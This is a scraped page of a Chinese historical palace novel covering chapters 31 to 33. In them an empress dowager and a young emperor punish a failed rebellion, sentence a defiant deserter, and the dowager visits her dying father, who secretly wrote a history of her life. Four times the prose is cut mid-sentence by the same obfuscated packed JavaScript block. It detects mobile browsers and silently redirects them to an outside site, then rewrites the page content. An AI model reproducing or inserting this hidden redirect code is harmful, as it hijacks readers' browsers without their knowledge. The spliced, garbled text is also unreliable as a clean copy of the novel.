娄庄姬这次下定了决心,果断道:“秦王可以轻罚,袁太妃狼子野心,不长教训。这次饶过了她,她下次还敢再犯。她已经成了我朝的心头大患,必须重罚。” “怎么罚,你定吧。” 娄庄姬眯起了眼。宫内近日流行狭长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974372|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 入鬓的眼妆,她做起这个表情,就像一只准备狩猎的狐狸。 ”事已至此,给她个痛快吧。“ 皇甫澍叹了口气,同意了。 这么大的消息还是要告知皇甫诚的。他一听就崩溃大哭,敲击着王府大门请求见皇兄。皇甫澍拒绝了,说处决不容更改。皇甫诚又辗转托人呈上一封吓人的血书,言辞急切,饱含血泪,为母亲求情。并说母亲若不在了,他绝不独活。 这下两个人都犯难了。 “又是血手印,又是血书的,他们血流不完是不是。”娄庄姬摇头。 “孝子之泪言,着实令人伤心。” “愚孝。”娄庄姬评价,但还是心软了,决定留住太妃一条命。 朝廷诏令下来了,秦王意图谋反,皇帝念及手足之情,从轻发落,敕令秦王迁往成都,无诏不得擅自返京。袁太妃自作主张,收留逃犯,欺瞒君上,教唆谋反,本为死罪,天恩浩荡,令拘禁于内宫,永生不得离。 娄庄姬自认为已经做到极致仁慈了。谁知道秦王又入宫了,恳求不要将母亲与自己分开。 “母亲虽然有罪,皆是因为过于溺爱臣弟,导致认不清现实,行事癫狂,过错皆在臣弟一人。她身体不好,如果与臣弟分离,天各一方,只怕思念成疾,日子更加难过。臣再叩请皇兄、母后勿使骨肉分离,难叙天伦。” 娄庄姬看着他在地上跪着缩成一团,眉头紧锁,一副恨铁不成钢的痛惜模样。 “秦王,陛下已经答应你的请求,饶了她的性命。你怎么还得寸进尺了呢?你难道还不知道,你落到如今这般下场,俱是因为你那糊涂的母亲吗?再与她待在一起,小心被她误了你一辈子。” 皇甫诚抬起头,眼泪汪汪。 “母后,天下哪里有子女会厌弃自己的父母的呢?唯有孝之一字不敢辜负。纵使母亲有千般过错,做儿子的都认了。母亲养育儿臣,对儿臣的大恩大德,儿臣只恐有生之年回报不了万分之一。若母后想责罚母亲,请让儿臣代为受过吧!” “糊涂啊糊涂。” “母亲是儿臣在世上最亲的人,只要母亲一日在世,儿臣不敢不尽心奉养。” ”傻孩子,这件事我和皇帝再议一议,你先下去吧。” “母后和皇兄若不答应,儿臣今日就在此长跪不起。” 皇甫诚猛地磕了一个头,发出一声沉重的响声。 “母后,朕觉得臣弟的话,与理虽然不通,于情却可以通融。朕也常后悔母亲在世时,没有尽心报答。’子欲养而亲不待‘,确实是人世的一件悲事啊。”皇甫澍被他说动了。 娄庄姬神情严肃,绝不松口: “家有家规,国有国法。若凭借感情就能罔顾国法,岂不是人人都能用于情不忍为自己的罪行开脱。这个口子不能开。” 她转向皇甫诚,说: “诚儿,这件事情母后不能答应你。法度无情,更何况你们犯下的不是小罪。你的孝心值得嘉奖,但孝心也得分清楚黑白是非,你的母亲教唆你造反,她真的是爱你吗?你好好考虑清楚吧。” 说罢,她拂袖而去。皇甫澍看着跪在地上,面容凄楚的弟弟,于心不忍,劝他早日回府启程。 “皇兄,你不能做主开恩吗,你再劝劝母后吧。” 皇甫澍摇头。 皇甫诚还是不肯起身,眼泪无声地打湿了整张脸。 “皇弟,别跪了,快回去吧。” “皇兄,就让我在这儿跪着吧,这儿离母亲近,让我再多陪陪母亲。” 皇甫澍站在他身旁,默默无话。 31. 剜肉补疮(一) 车马辚辚,秦王与家眷不日便启程了。原本门庭若市的王府,瞬间变得冷清。门口的石狮子无人看管,失去了往日的威风。 太妃已经被关押在深宫之中,她的弟弟被罢官永不叙用,姐弟二人再无还手之力。 其他反军,因为招安时没有反抗,全部从宽处理,要么重新入伍,要么遣返回乡。造反者只剩下一个还没有判决,那就是这场闹剧的源头——逃兵卢异。 他被收押在天牢里,是死是活的消息迟迟没有下来。他百般聊赖,身上又开始长虱子。只能抓住一个每日巡逻的官兵诉苦抱怨。那个官兵也会跟他分享自己听来的消息。 “怎么回事啊,陛下是想杀我,还是要放了我?他不会把我忘了吧,我可不想老死在这里。” “没忘记你,再等等吧。我听说,陛下和太后为了你的事起争执,双方都不肯让步。你可是两位贵人心间上的人,美得你。” “呸,还心间上呢,刀尖上还差不多。” 官兵看着他狼吞虎咽地吃着午饭——大饼蘸稀粥,好奇地问: “你是个啥子来头啊,怎么人家都各干各的去了,独留你一个人在这里?” “我?我倒霉,是第一个从京师兵里逃跑的,又给秦王出了几条馊主意,算谋反主谋之一。” “哦,你放心,秦王和太妃都没丧命,你肯定也不会掉脑袋。兴许再过几日,就把你放了。” 卢异冷笑一声,说:“贵人的命运,和我们这些下贱东西能一样吗?他们的头颅金贵,我们的又不值钱。” “你这人怎么不往好处想呢?” “我这辈子,每往好处想,就会失望;每往坏处想,哼,遇到的事儿就能比我想的更坏。” 官兵挠挠头,不知怎么接话。 “军爷,我看你日子应该过得挺顺意的吧。是不是要成亲了?” 那官兵黑黄的脸红了,害羞说: “你怎么知道?” “腰上的香囊这么显眼,还需要猜吗?” 官兵笑。 “还早呢,我还没敢上门提亲。你呢,你家中有妻儿吗?” “没有。我家一穷二白,谁家肯把女儿嫁给我?” “是吗?可惜了,我看你长的不赖嘛,要是有点积蓄,肯定能娶到媳妇的。” “不必,一个人过清净。” “那你当兵前,是做什么的?” “我?在我们镇上开了个私塾,做先生。不过没几个学生,赚不到什么钱。” “你还是个读书人?怎么不想考科举呢?” 卢异苦涩地笑了一声,摇摇头:“没那个本事,考不了。” 他又说:“我要是能出去,还是去干老本行,以后你有孩子了就来找我当先生。” “我们家孩子哪能有读书的命呢,”官兵哈哈大笑,“欸,你都这么穷了,就不想干点别的,去从商总能赚几个钱吧。” “不想。读书人就这臭骨气,饿死也不想干别的。‘宁溘死以流亡兮,余不忍为此态也。’” 那官兵似懂非懂,正想追问,忽而另一个士兵快步走来,身后跟着一个衣着不凡的太监。太监嗓音尖细,道: “陛下有旨,押囚犯卢异出狱,陛下亲审。” 卢异的脸上飞快地闪过一道光,但很快熄灭,转而露出一个嘲讽不屑的神情,语气浮夸道:“陛下可算想起我来了。” 他站起身,临行前跟那官兵说: “若我能活着出去,记得请我去喝你的喜酒。” 皇甫澍的脸颊这几日肉眼可见地凹陷了下去,他顶着黑眼圈,眼角有血丝,高坐公堂案桌之后,自上而下的审视着卢异。后者虽然跪着,但他低眉的表情绝对不是因为害怕,而是因为无所谓。 皇甫澍已经派人查清了卢异的来历。 卢异的父亲原本是先帝时的言官,因为劝谏先帝不要沉迷修道,对他身边宠幸的方士大加攻击指责,言辞过火,被罢免。被他辱骂的方士落井下石,使得他的处罚又加上了一条——后世子弟永不叙用。 卢家原本是江南小有名气的书香世家,历代也出过不少富有才名的好官,科举入仕是卢家子弟必经的道路,却在卢异父亲这一代断掉了。卢家清廉,并无什么积蓄。卢父没了官职,又拉不下面子为农为商,家境穷困潦倒,他也郁郁而终,留下一个独子,就是卢异。 卢异做了几年教书先生,但学生寥寥无几,完全不够支撑生活。世态炎凉,之前来往的家族早就作鸟兽散,他好不容易节衣缩食咬牙过了几年,又被拉去服兵役。在京师兵,他身体瘦弱,又没有背景,顺理成章地成了被欺凌的对象。然后,便有了逃兵造反的事。 皇甫澍对他是怜悯的。 “这个人落到这般田地,走投无路,一半是先帝的责任,另一半就是我的责任。要我追责他,我实在是于心不忍?而且我看此人有几分才智,家里也曾是历代为官的,给他个官职,也算是弥补皇家的过错。” 他正准备令人释放他,娄庄姬却在经过一番深思熟虑之后,拦住他。 “不可。这个人既是逃兵又参与造反,还属于主谋之一,你不追究,还让他做官,这事传播开来,那还了得。这不是告诉天下人,只要有一点苦衷,就可以兴兵作乱,等待被招安后得到官职?哪有这样荒唐的事。依我看,别人你放过了,我不管。这个人,得杀。” “杀了他?量刑过重了吧?” “逃兵加造反,两条死罪加在一起还不够吗?” “他是被逼无奈的。若不是走投无路,谁愿意铤而走险造反呢?” “他造反是事实,他犯下了,就得承担后果。” “我们不是也放过了其他人吗?” “放过其他人,是展现仁慈。杀了他,是展现威严。这并不冲突。杀了领头的放过其他人,和放过所有人,效果截然不同。” 皇甫澍想了半晌,痛苦地摇头,说: “我不能杀他。是我做错了,而他在替我受过。” 娄庄姬俯下身子,握着他的手,盯着他的眼睛说: “你怎么不能狠心呢?他已经站在了你的对立面,你不能纵容他。你念及手足之情,听了秦王的话放过太妃,这些我不追究了。但你必须要选一个人出来杀鸡儆猴,告诉天下人,造反不是吃饭过家家,不是一有不满就可以做的事。你是皇帝,你个人的好恶,要放在国家利益之后。” 皇甫澍强行将思绪从娄庄姬苦口婆心的劝说处拽了回来,看着眼下这个瘦骨嶙峋的青年。卢异吊儿郎当地听着廷尉的审问,一句话也不回答,直愣愣地盯着地上的砖块。气的廷尉猛敲惊堂木,准备让人动刑。 “停,朕亲自来问。”皇甫澍打断他。 卢异这才抬起头,勾起嘴角往上看。却被身后的两个士兵粗暴地按下头。 他即使被迫佝偻着腰,面朝大地,仍拿腔拿调地说:“小民在死之前,能被陛下亲自审问,真是天大的福气。” “你怎么知道自己一定是死罪呢?” “二罪并罚,小民怎么说也该引颈就戮了。” “你不为自己申辩一下吗?你言之有理,朕或许可以饶你一命。” 审案的官员闻言不禁咋舌。但卢异波澜不惊,只摇头。 皇甫澍皱眉,说:“你有几分才智,为自己争取 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974373|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下吧,朕知道你沦落到阶下囚是迫不得已,只要你把自己的苦衷说出来,朕答应免除你的罪责。” 他停顿一下,又补充道:“还可以恢复你们家族的名声,让你参与科举,重新入仕。” 堂上官员炸开了锅,面面相觑,不外乎议论陛下的仁慈是否太过分了。廷尉进言道:“陛下,不予处置已经很宽容此人了,还要恢复他科举的资格,是不是不太合适。” 皇甫澍并不理睬他,只等着卢异的回复。 卢异左瞟瞟,右瞧瞧,看着官员们面白如纸的惊慌神色,不屑地嗤笑了一声,答道: “多谢陛下仁德,不过您还是把小民处死吧。小民活在世上也是个无用之人,对您的国家只怕有害无益。” “何出此言,我大梁朝正值用人之际,你若是有真才实学,何愁无路为国效力呢?” 卢异终于高高抬起了头。他虽然跪着,仪态却比身后站着的士兵更加凛然,傲然睥睨着堂上的所有人,包括九五之尊的皇帝。 “为国效力,为谁的国,您的吗?” “自然。也是你的。” “不,”他武断,“不是我的,我没有国。普天之下,莫非王土。除了您以外的人,一寸土地都没有。这很不公平,可惜从古至今都是这样的,没有改变过分毫。只要世上还有皇帝,其他人就都得仰他鼻息。只有皇帝才是真正地在做人,别人都是在做畜生。我不想做您的畜生了,仅此而已。” 堂上陷入了死一般的寂静,所有人的动作都像一幅画一样凝固了。录事的笔悬在空中,滴下的墨水在纸上晕黑了一片。他颤抖地询问廷尉,要记录吗? 卢异见众人瞠目结舌,愈发神采飞扬。看到死亡逐渐走近,他没有害怕,反而满怀期待。 “陛下,我感谢您的好意,我也不是针对您,说您做的不好。谁来做皇帝都不好。我不会对任何一个帝王给予我的忠诚,因为忠诚是一种畸形的美德,我们这些人,受忠诚的苦头受的还不够多吗?世上的皇帝都是昏君,我对他们,包括您,没有任何希望。” 皇甫澍脸色也白了,但他还维持着表面的镇静,见录事僵在那里,沉稳地说: “把他的每一个字都记下来。” 他直视着卢异,卢异也无畏地盯着他。 “世上的皇帝都是昏君。他说的很有趣,你们不觉得吗?”皇甫澍问群臣,但没人敢答复。 他看着这个傲骨铮铮的罪犯,这个对生命毫无眷恋的、和自己年龄相仿的青年,心中充满着迷茫。这不是一盘好落子的棋。这个人藐视天威、疯言疯语,按理罪加一等。可他的陈词又有一种力量,攥紧了皇甫澍的心,让他不想动手。 他沉默许久,最终说:“此案先搁置着,后面再议吧。” 此后的一整天,他无心案前的奏章,拿起朱笔又放下,难以遏制地想卢异那番话。一旁侍奉的冯盼春注意到他愁眉紧锁,脚步比平常更轻了。 到了晚上,他读了几份新写就的关于斥责卢异在堂上出言不逊必须严惩的奏折之后,终于不得不狠下心,决定判他死刑,秋后问斩。 娄庄姬知道后很欣慰。她说,做皇帝,仁和狠都是必要的。她像之前做师父的时候一样抚摸徒弟的头,表示嘉奖。皇甫澍的笑却很勉强。 “听说那个人在堂上的陈词离经叛道,我倒好奇,叫人给我抄录一份来吧。”她说。 皇甫澍答应。娄庄姬见他在下旨之后,一直闷闷不乐,和皇后策划夏日去行宫避暑,缓解他抑郁的心情。 可她很快便无暇顾及玩乐的安排。从宫外传来噩耗,她父亲病危,时日无多,两位兄长请她出宫,送父亲最后一程。 32. 剜肉补疮(二) 马车疾驰穿过侧门,尘土飞扬。娄庄姬顾不得颠簸,只想快点看见记忆中模糊的家门。她紧紧攥着莲蕴的手,在她细嫩的皮肤上留下了几道红印。 可偏偏不凑巧,马车走到半路就不得不停下。太后的车队阵仗不凡,寻常百姓见到后就自觉地避让了。只有某些特殊的人才敢不让路,甚至挡路。比如死谏之人。 拦在娄庄姬车队领头的两匹白马前的,就是十几个衣衫褴褛的乞丐模样的人。他们不顾马儿受惊后在空中飞踹的蹄子,涌到马车前,悲戚地哭诉道: “车上是哪位贵人?我们是户县彭村的村民,有冤情要上报。我们的土地被县令王禄逼迫贱卖了,我们没有地种,没有财产,走投无路!请贵人到皇上那儿为我们伸冤,惩治贪官!“ 马上的侍卫大惊失色,恼怒地挥舞着马鞭,吼道: “大胆,这是太后的马车,你们也赶拦?有冤情,去衙门报案去,他们是吃白饭的吗?” “我们去过衙门了,可他们同王禄狼狈为奸,根本不管我们的死活!” “那又怎样,你们拦车就是目无王法,还不快闪开,耽误了太后的急事,你们个个脑袋都保不住!” 有几个人被他唬到,让开了路。但剩下的依旧不依不饶,把本就不算宽敞的街道堵得水泄不通。侍卫气不过,马鞭高高抬起,重重落下,打在了为首的几个人身上。这一下没有吓退他们,反而更激起了他们的不满。 “这个人也是和那帮狗官一伙的,把他从马上拉下来!” 他们一边叫着,一边去拽侍卫的腿,还有人抱住马头和马尾巴,惹出一声高亢的马嘶。 “该死的,你们要造反啊!” 在车队后部的娄庄姬听到前面吵嚷声愈演愈烈,人马止步不前,心急如焚,派人去探问。那人鼻青脸肿地回来,汇报之余,添油加醋地抨击那帮暴民的蛮横粗鲁。 娄庄姬面露犹疑。还没等她做出决定,前方的噪声已经向她的方向突进了。她掀开车帘,正好迎面撞上满脸怒容的民众。他们被娄庄姬的雍容威严震了一下,神色恭敬了些许,但还是叫嚷着冤屈。 “你们的冤情,本宫知道了。卢县县令和京师衙门徇私枉法、沆瀣一气,本宫回宫后会立刻告诉皇上,让皇上亲自派人彻查此事。你们先放行,不要做暴民,反而使自己落人口舌。” 那些民众嘟嘟囔囔的,还是没有散开。 “衙门里的人,也拿‘知道了’、‘会处理的’这些话来敷衍我们,除非您现在就把那几个狗官抓起来,否则我们不放。” 车里的莲蕴听不下去了,站出来说:“你们还敢命令太后娘娘为你们做事?真是不知道自己几斤几两重···!” “好,本宫现在就派人去把他们抓过来,”娄庄姬回头,让身边侍卫拿着她的令牌,去抓他们提到的人,带着这帮民众去京师衙门里等候。 “您说到做到!” “本宫都把令牌拿出来了,你们还不放心?” 那些民众你看我,我看你,犹豫着让开了道路。 “走,去京师衙门,跟那几个狗官拼了!”领头的大呵一声,其他人高声附和,他们跟着娄庄姬的侍卫直奔衙门而去。 人群跑过她的马车,一个四五岁的小女孩趴在母亲的肩上,因为饥饿而突出的大眼睛一直盯着娄庄姬,直到她消失在她的视线里。娄庄姬想起了自己远在幽州的女儿,心钝痛了一下。 她整理好情绪,命令车队立即整顿,刻不容缓。 “娘娘,那帮人凶神恶煞的,对您如此冒犯,依奴婢看,就该把他们先抓起来,您何必还遂了他们的愿?” “我们的官员抢了他们的田,害得他们无家可归,他们难道不该生气?本宫和皇帝疏忽不察,被他们堵着是应该的。” 娄庄姬终于看到了魂牵梦绕的“娄府”门匾。门口已经停了许多辆马车。她的二哥正张望着找寻她的。一见面,他焦急得顾不上行礼,带着微微埋怨的口吻说: “娘娘怎么耽误了这么长时间,父亲可等您许久了。” “父亲病情如何了?有没有好一点?” “您派的太医得力,用汤药吊着老爷子的元气,但也无力回天。怕是···怕是就在这两天了。” 娄庄姬在路上强忍住的泪水还是溢了出来,她急忙奔往父亲卧房,房外站满了随时待命的仆从丫鬟,还有许多身着绸衣,看起来身份不凡的人,见了她就一齐弯下腰,黑压压一片后脑勺。 她顾不上细看,直接冲进房。她的大哥坐在床边,捧着一个空的瓷碗,估计是刚给老爷子喂完药。 “父亲,女儿不孝,来晚了。” 娄庄姬扑通一声跪在榻前,大哥赶忙把她搀扶起来,着急地说: “微臣一家,受不起娘娘大礼,娘娘快起。” 娄庄姬自知举止失礼,可是此时已顾不上那么多,扑到榻前,眼泪汩汩流淌。 娄太公面色枯黄,皮肤绷在突出的颧骨上,微合着眼,断断续续地呼吸。听见她的呜咽声,他睫毛动了一下,但没有醒来。 “父亲喝了药,又昏睡了过去。娘娘可别惊了他。到了晚上,他应该还能再醒一次的。” 这时,屋外传来小心的叩门声。 “大爷,晟王来了,要您去看一下新的梓宫合不合适。” 大哥对她解释道:“原本早为父亲预备了一副梓宫,但晟王说,他寻来了几方上好的檀木板,刚好送我们做个顺水人情,我们也不好不受啊。” 娄庄姬一皱眉。晟王是宗族王孙中比较没落的一支,全靠拉下脸面经商才攒了些钱,豁出去送这么大的人情,明摆着是要拉拢他们家。以后出什么事,不能不记挂着他了。 “收人家一份礼,可不是那么容易还的。” “娘娘说的是,可这送都送了,也不好再说什么。” “罢了,大哥好好谢谢人家。人家叫你你就去吧,父亲这里我来守着就好。” 大哥点头哈腰地退出去了。 门打开,露出屋外探头探脑的谄媚人影。门一闭,屋外的喧闹又与她隔绝了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16977832|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>娄庄姬感到五味杂陈。 她通过朦胧的双眼,凝视着父亲的病容。他毕生的执着与倨傲都凝结在这张冷峻的脸上,这张脸曾让童年时的她又爱又惧。而如今,被病痛折磨着的他,坚守了一生的顽强裂开了一条缝,像一座泥塑一样随时会风干碎裂。 屋内很静,只有老人气喘的声音。 娄庄姬站起来四处走动,脚步很轻。屋内陈设一如往日,毫厘不改。对窗的书桌上一张纸平铺着,被据说是母亲最爱的螺钿镇纸压住。桌边有一盆兰花,许久没人管,快要枯萎。 她回头打量,楠木的书架上似乎多了几本书。 那书架放的不是经史子集,不是任何大家的著作,只有娄太公自己写下的史书。 这史书与他任职史馆修撰所要修的还不同。在任上,他修的是前朝的历史。而架子上放的,是他写给自己的,当朝的史书。 架子上的书,除了娄太公自己,谁都没有看过。连娄庄姬和她哥哥们都不被允许。小时候,娄庄姬出于好奇,偷偷溜进父亲房间看书,还没翻页就被抓到,掌心重重地挨了板子,还被罚了一顿饭。 父亲写下的东西,对他一定有非同寻常的意义。 她突然打了个激灵,鬼祟地看向床上的娄太公。幔帐之后,他还睡着。 她蹑手蹑脚地,从架子上抽出一本看起来是最新写就的书。 书都是娄太公自己把手稿装订成册的,线圈缠绕得很粗糙松散,这本格外明显。看来是他病后精力不济,勉强成书的。 她翻开第一页,一下子一股灼烧感从脚跟直窜到脸上。 这篇名字叫《娄后世家》。 她一个字一个字仔细阅读着,琢磨每一处句读。 “梁神宗昭仪娄氏讳庄姬,长安人也。父旬,领史馆修撰,母王氏。后少而有才,博闻强识,志于以才事君···” 史官的笔墨冷酷无情,只是平实地叙述,不加褒贬。 “神宗昏聩,后不忿,欲谏而无门,欲退而无路。后与燕王许会于幽州,后亲临阵献策。燕王甚敬后,听之计,部署诸将北出定北狄,北狄诸王望旗皆惧,散败而降。” “其后五年,后无音。” “或有人言,后下嫁为燕王妾,妄谈尔。水清而人欲之浊,人节而众啄之淫,世之常理也,岂足道哉?” “后回,转日,神宗暴毙殡天,后领燕王临朝称制。神宗崩颇有疑,然天下黎民,望明君如盼甘霖,不以为怪怒。” “新帝以养母名,尊为太后,居上阳宫。天下莫不赞帝之贤孝。” “后为人刚毅,不甘于人下,擅权图治,政令风行,虽于内宫之中,偏娥眉不肯让人,掌庙堂如翻银针于锦绣,戏权臣如理青丝作云鬟。” “然后空有大志,行事犹疑,与帝仁而无断,行政屡次失察,为将卫国乃大才,为君则难察大局,力有不至。” 娄庄姬哽了一下,翻到下一页。 突然一个疲惫地声音响起。 “我写的东西,有哪里错了吗?” 33. 剜肉补疮(三) 她吓了一跳,合上书,把它塞回架子上,却因书页松散,纸张弯曲,一本卡在另一本里,放不进去。 “就放在那儿吧,我也不会再写了。” 娄庄姬悻悻地放下书,但只敢在原地站着,不敢走到父亲跟前。直到他唤,才慢慢地过去。 在父亲面前,她不再是威严的太后,而只是一个女儿。 “父亲好些了吗?要喝水吗?” 娄太公摇头,没有睁眼。他说话时很费劲,胸口剧烈起伏。“在读你自己的故事吗?” “是。” “你有什么想法吗?” “有点惊讶。看到自己的经历被写下来,反而觉得这些事与自己无关,好像从来就没有在我身上发生过一样。” “你才多大啊,已经经历这么多了。” “嗯。” “我写的,你觉得公平吗,有没有失了偏颇的地方?” “我不能判断,是不是偏颇,只有我的一生结束了之后才能有定论。” 娄太公呼出沉重的一口浊气:“你说的是。哪怕传主的生命结束了,记载也不一定就会公道。” 这时,门外传来一阵喧哗。估计是众人在惊叹晟王送来的棺木吧。偏偏这样的动静,怎么能让老太公听到,他心里又该是什么滋味?娄庄姬心里埋怨道。 “你来得好呀,我行将就木,只想身边有个亲人静静陪着。那些吵嚷,真是听不得。” “女儿一会儿便让他们都各自回府,不许他们再打扰您。” “他们是为什么来的,你不知道吗?他们来看的不是史馆修撰,而是太后的父亲。” 娄庄姬低头,道:“树大招风,攀权附贵的人怎么赶也赶不完。” “无妨,你已经长成了一颗大树,为父甚为欣慰。你两个哥哥不成器,你是最有出息的。” 娄太公枯槁的手颤巍巍地抚上她的脸颊。娄庄姬感受到他指节上粗糙的老茧 “有一件事,我必须得托付给你。” “您说。” 他的目光看向了书架上自己毕生的心血。 “我的书还没有写完。我这一生没有别的志向,只愿效仿太史公‘成一家之言’,可惜天不假人寿,看来是完不成了。我百年之后,你找一个你认为合适的人,把它完稿吧。” “我朝哪还有像父亲一样卓越的史家呢?父亲,您会好起来的,您得自己把书写完。” “我现在在写你的故事。一动笔的那一刻我就明白,这本书完不成了,哪有父亲活的比女儿还长的呢?” “父亲想修一部怎样的书?” “一部不被任何规则约束的书,超越我自己,超越这个时代。” 他咳嗽了几声,浑浊的眼珠恳求地盯着女儿,道:“为父就这一个遗愿,请···请太后娘娘成全。” 娄庄姬眼含热泪。 是夜,娄庄姬住在自己曾经的厢房里,心神不定。时不时就要召一个小厮询问父亲的病况。 她的两个大哥已经轮流到她房里走了一遭,说完对父亲的哀伤后,就开始含蓄地暗示希望她为他们的仕途上升给予援助。娄庄姬很冷淡地回应,如果他们政绩显著,根本不缺乏上进之路。 “娘娘,一家人不说两家人话,我就直说了。这京城里只要是大一点的官,谁不想着拉亲人一把。一方面是卖个人情,另一方面,这提携的人日后又成了他的倚仗,万一有时受挫,还有人托底,不是孤军奋战。太后的娘家体面,那不就是您体面吗?” “现在是在为父亲侍疾期间,您们就存着这样的心思?” 见她执拗,二哥也有些不痛快,小声嘟哝道: “父亲百年了,他清正廉洁,我们也要为自己打算嘛。” 娄庄姬气得一拍桌子,呵斥道: “二哥天天跟在父亲身边,怎么一点他的品德都没学到?” “太后娘娘息怒,我们是亲兄妹,说话不比您跟其他大臣那样循礼,偶尔冲撞,您就当我们是在开玩笑,当您是我们最亲的人哪。”大哥劝道。 娄庄姬好不容易平复了气息。 大哥又说道:“也是因为我们是亲人,我也大着胆子跟您问一句。狄丞相不过是幼时与您有浅交,您就对他关怀备至,又让他位极人臣,又是允许他出入内庭,朝廷中的人都艳羡的很。怎么对您的娘家人,您就这样苛刻啊,偏心也不能偏到外人那儿去,您说是吧?” “除非不是外人。”二哥又低声道。大哥立刻用手肘捅了他一下。 娄庄姬冷笑道:“狄丞相位极人臣,是因为他本身就有才,又为当今陛下登基立下了从龙之功。他的功勋是自己挣得的,本宫看并没有什么偏心的地方。至于二哥的话,本宫就有些听不懂了,还得请你解释一下。” 大哥赶忙为他解围道:“二弟道听途说了些风闻,口无遮拦,娘娘不必挂心。” 他瞪了二哥一眼。看到今天估计是说不通了,便拉着二哥行礼退下,预备来日再劝。 娄庄姬觉得格外疲惫。想起两位兄长出入官场时,立志要做高风亮节的人物,就像父亲一样。经过十几年的磋磨,两块美玉竟然也蒙上了一层油。 她环顾四周,房内摆放的华丽的美玉、金石、字画、瓷器,每一样都是陌生的,不属于这个家的。她觉得屋内逼仄,四面不透风。 莲蕴蹑手蹑脚地走进来,向她报告道,卢县县令已经押送进京,京师衙门里为首的官员也被关押起来。白日的民众住在衙门里,就等审案呢。 她点点头,命人回宫去告诉皇上,此案应尽快审理,早日处理贪官污吏,让百姓有田可耕。 她透过窗棂看向夜空,今晚天上没有星辰,银月如钩,格外寂寞。 她想,不知澍儿现在在干什么呢? 此时,未央殿内,皇甫澍正在阅览新送上来的地方奏折。这些奏章内容出奇的一致,都是检举地方高官兼并民田、鱼肉百姓的。皇甫澍看得直皱眉,问一旁侍笔的冯盼春。 “这些龌龊事情,先帝在时有吗?” “有的,这都是先帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982355|193489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留下来的积弊了。不过先帝从来不关心这些奏疏,对于这些问题置之不理。如今陛下关心,这是苍生之福,天下之幸。” 皇甫澍盯着冯盼春。这个先帝时期的经验丰富的宦官,早已练就了喜怒不形于色的本领。即使他对他说得上了解,也不能确定他此刻的话是不是真心夸赞的。 娄庄姬在幽州时,跟他讲过冯盼春和涂寿华的旧事,他听得十分动容。也因此,他觉得此人心里,一定压抑着无穷的愤恨与痛苦。只是先帝已死,他也再没有机会发泄出来了。 冯盼春说不上年轻了,但仍面容白净,不蓄胡须的瘦脸使他看着比实际年龄小了十岁。他挂着任职时标准的讨好的微笑,说道: “陛下,皇后娘娘问,您今晚去她那儿过夜吗?” 皇甫澍搁下了笔,愁眉不展。 新皇后狄鸣岐对皇家和她的娘家来说都是一枚好用的棋子。皇家需要她来笼络朝臣们的心,狄家需要她来营造鲜花着锦之势,她的哥哥兴许还有点别的恶意。 对这个小姑娘来说,皇后之位就像她封后那天戴的凤冠一样,笨重且不合适。皇后最好是狄家小姐来当,但狄家小姐当了皇后后会开心吗,连她自己都不确定。答应为后是家族教的,她只是学舌。 皇甫澍不会喜欢她,自然也不会碰她。她每日只是陪着太后,听说太后对她总有讲不完的话,缺少丈夫,她倒也不觉得多么寂寞。皇甫澍听了后失笑,看来娄庄姬又开始好为人师了。只要能缓解新皇后的不安,那就由她去吧。 但太后回家去了,偌大的皇宫只剩下帝后二人可以彼此作陪。如此境地,对他还真是难办。 冯盼春低眉道:“陛下,皇后娘娘一个人孤苦度夜,是很难熬的。” “你是在说她难熬,还是在怀念旧人呢?”皇甫澍内心道。 “朕政务繁忙,不能陪她。你让御膳房做一点安神的羹汤,去给她送过去吧。” “遵命。” 冯盼春退下了。 皇甫澍心里很乱。皇后的事暂且不提。兼并田地的事明日早朝再议。他最放不下的是卢异的事。听说他在牢狱里懒洋洋的,一点也不像史书上说的那些有识之士一样,著书留言。他只是在专注地等死。 这样的行为,分明就是个没心没肺的平头百姓。可他当日庭审的话,一直盘旋在他心里。 “忠诚是一种畸形的美德。” “世上的皇帝都是昏君。” 这个人非常有趣。只可惜他马上要死了,死人再也开不了口。 皇甫澍起身,走下长阶,走到殿外。夜色如墨。 